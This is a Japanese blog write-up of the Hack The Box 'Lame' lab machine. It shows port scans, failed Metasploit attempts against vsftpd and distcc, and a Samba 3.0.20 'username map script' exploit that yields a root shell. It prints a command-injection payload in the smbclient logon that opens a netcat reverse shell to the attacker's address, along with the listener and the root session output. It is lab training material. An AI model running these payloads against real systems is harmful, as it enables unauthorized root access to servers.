LoginSignup
1
0

More than 1 year has passed since last update.

@chelly-egoist19940412

【Hack The Box】Lame Writeup

Last updated at Posted at 2023-04-19

Executive summary

Tool / Command

  • nmap
  • smbmap
  • smbclient
  • Metasploit
  • logon "/=nohup nc 10.10.14.11 4444 -e /bin/bash"
  • python -c 'import pty; pty.spawn("/bin/bash")'

1. PortScan

「21/tcp」「22/tcp」「139/tcp」「445/tcp」が開いている
sudo nmap 10.10.10.3 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn

└─$ sudo nmap 10.10.10.3 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn
[sudo] kali のパスワード:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-18 19:39 JST
Nmap scan report for 10.10.10.3
Host is up (0.31s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-04-18T06:40:02-04:00
|_clock-skew: mean: 2h00m20s, deviation: 2h49m43s, median: 19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.63 seconds

また、フルポートスキャンを実行すると「3632/tcp」がopenになっていることがわかる
sudo nmap 10.10.10.3 -sS -T4 -sVC --max-rate 1000 --min-rate 1000 -Pn -p-

3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

2. Local Shell

FTP：ftp vsftpd 2.3.4（失敗例）

FTPに対して侵入を試みる

匿名ログインは可能だが、何もない
ftp 10.10.10.3

└─$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||30756|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> quit
221 Goodbye.

SearchSploitで「vsftpd 2.3.4」を検索する
MetasploitのPoCを試すがうまくいかない
searchsploit vsftpd 2.3.4

└─$ searchsploit vsftpd 2.3.4
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                                  | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                     | unix/remote/17491.rb
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

msfconsole
search vsftpd 2.3.4

msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

use 0
set rhosts 10.10.10.3
options

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Met
                                      asploit
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

exploit

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit

SMB：smb Samba 3.0.20（成功例）

SMBに対して侵入を試みる

匿名ログインで「tmp」にアクセスできるが、特に何もない
smbmap -H 10.10.10.3

└─$ smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445	Name: 10.10.10.3                                        
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	tmp                                               	READ, WRITE	oh noes!
	opt                                               	NO ACCESS	
	IPC$                                              	NO ACCESS	IPC Service (lame server (Samba 3.0.20-Debian))
	ADMIN$                                            	NO ACCESS	IPC Service (lame server (Samba 3.0.20-Debian))

smbclient //10.10.10.3/tmp

└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Apr 18 21:33:31 2023
  ..                                 DR        0  Sat Oct 31 15:33:58 2020
  orbit-makis                        DR        0  Tue Apr 18 19:25:31 2023
  .ICE-unix                          DH        0  Tue Apr 18 19:21:34 2023
  vmware-root                        DR        0  Tue Apr 18 19:22:02 2023
  .X11-unix                          DH        0  Tue Apr 18 19:21:59 2023
  gconfd-makis                       DR        0  Tue Apr 18 19:25:31 2023
  5560.jsvc_up                        R        0  Tue Apr 18 19:22:36 2023
  .X0-lock                           HR       11  Tue Apr 18 19:21:59 2023
  vgauthsvclog.txt.0                  R     1600  Tue Apr 18 19:21:32 2023

		7282168 blocks of size 1024. 5385996 blocks available
smb: \> quit

SearchSploitで「Samba 3.0.20」を検索する
MetasploitのPoCを試すとリバースシェルが取れる
searchsploit Samba 3.0.20

└─$ searchsploit Samba 3.0.20 
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                     | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)           | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                      | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                                      | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                              | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

msfconsole
search Samba 3.0.20

msf6 > search Samba 3.0.20 

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

use 0
set rhosts 10.10.10.3
set lhost 10.10.14.11
options

msf6 exploit(multi/samba/usermap_script) > options 

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wik
                                      i/Using-Metasploit
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.11      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

exploit

いつものおまじないコマンドを実行する
python -c 'import pty; pty.spawn("/bin/bash")'

ルート権限が取得できる

msf6 exploit(multi/samba/usermap_script) > exploit 

[*] Started reverse TCP handler on 10.10.14.11:4444 
[*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.3:36076) at 2023-04-18 22:45:42 +0900

python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# id
id
uid=0(root) gid=0(root)
root@lame:/# pwd
pwd
/
root@lame:/# cd home
cd home
root@lame:/home# ls -la
ls -la
total 24
drwxr-xr-x  6 root    root    4096 Mar 14  2017 .
drwxr-xr-x 21 root    root    4096 Oct 31  2020 ..
drwxr-xr-x  2 root    nogroup 4096 Mar 17  2010 ftp
drwxr-xr-x  4 makis   makis   4096 Apr 18 06:25 makis
drwxr-xr-x  2 service service 4096 Apr 16  2010 service
drwxr-xr-x  3    1001    1001 4096 May  7  2010 user
root@lame:/home# cd makis
cd makis
root@lame:/home/makis# ls -la
ls -la
total 36
drwxr-xr-x 4 makis makis 4096 Apr 18 06:25 .
drwxr-xr-x 6 root  root  4096 Mar 14  2017 ..
-rw------- 1 makis makis 1107 Mar 14  2017 .bash_history
-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14  2017 .bashrc
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconf
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconfd
-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile
-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis   33 Apr 18 06:21 user.txt
root@lame:/home/makis# cat user.txt
cat user.txt
9c076f6d1db0b521168cc3**********
root@lame:/home/makis# cat /root/root.txt
cat /root/root.txt
af5bcf339e6b2c7d8b5c3a**********

distcc（失敗例）

distccに対して侵入を試みる

SearchSploitで「distcc」を検索する
MetasploitのPoCを試すがうまくいかない
searchsploit distcc

└─$ searchsploit distcc      
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit)                                  | multiple/remote/9915.rb
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

msfconsole
search distcc

msf6 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

use 0
set rhosts 10.10.10.3
set lhost 10.10.14.11
options

msf6 exploit(unix/misc/distcc_exec) > options 

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wik
                                      i/Using-Metasploit
   RPORT   3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.11      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

exploit

msf6 exploit(unix/misc/distcc_exec) > exploit 

[*] Started reverse TCP handler on 10.10.14.11:4444 
[*] 10.10.10.3:3632 - stderr: bash: 215: Bad file descriptor
[*] 10.10.10.3:3632 - stderr: bash: /dev/tcp/10.10.14.11/4444: No such file or directory
[*] 10.10.10.3:3632 - stderr: bash: 215: Bad file descriptor
[*] Exploit completed, but no session was created.

（参考）SMB：smb Samba 3.0.20（Metasploitを使用しない成功例）

OSCPではMetasploitは1Boxしか使用できないので、覚えておくことを推奨する

smbclient //10.10.10.3/tmp

PoCを実行する
logon "/=`nohup nc 10.10.14.11 4444 -e /bin/bash`"

ポート「4444」で待ち受ける
nc -lnvp 4444

いつものおまじないコマンドを実行する
python -c 'import pty; pty.spawn("/bin/bash")'

ルート権限が取得できる

└─$ smbclient //10.10.10.3/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=`nohup nc 10.10.14.11 4444 -e /bin/bash`"
Password: 

└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.3] 40458
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/# id
id
uid=0(root) gid=0(root)
root@lame:/# pwd
pwd
/
root@lame:/# cd home
cd home
root@lame:/home# ls -la
ls -la
total 24
drwxr-xr-x  6 root    root    4096 Mar 14  2017 .
drwxr-xr-x 21 root    root    4096 Oct 31  2020 ..
drwxr-xr-x  2 root    nogroup 4096 Mar 17  2010 ftp
drwxr-xr-x  4 makis   makis   4096 Apr 18 06:25 makis
drwxr-xr-x  2 service service 4096 Apr 16  2010 service
drwxr-xr-x  3    1001    1001 4096 May  7  2010 user
root@lame:/home# cd makis
cd makis
root@lame:/home/makis# ls -la
ls -la
total 36
drwxr-xr-x 4 makis makis 4096 Apr 18 06:25 .
drwxr-xr-x 6 root  root  4096 Mar 14  2017 ..
-rw------- 1 makis makis 1107 Mar 14  2017 .bash_history
-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14  2017 .bashrc
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconf
drwx------ 2 makis makis 4096 Apr 18 06:25 .gconfd
-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile
-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis   33 Apr 18 06:21 user.txt
root@lame:/home/makis# cat user.txt
cat user.txt
9c076f6d1db0b521168cc3**********
root@lame:/home/makis# cat /root/root.txt
cat /root/root.txt
af5bcf339e6b2c7d8b5c3a**********

以上

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
1
0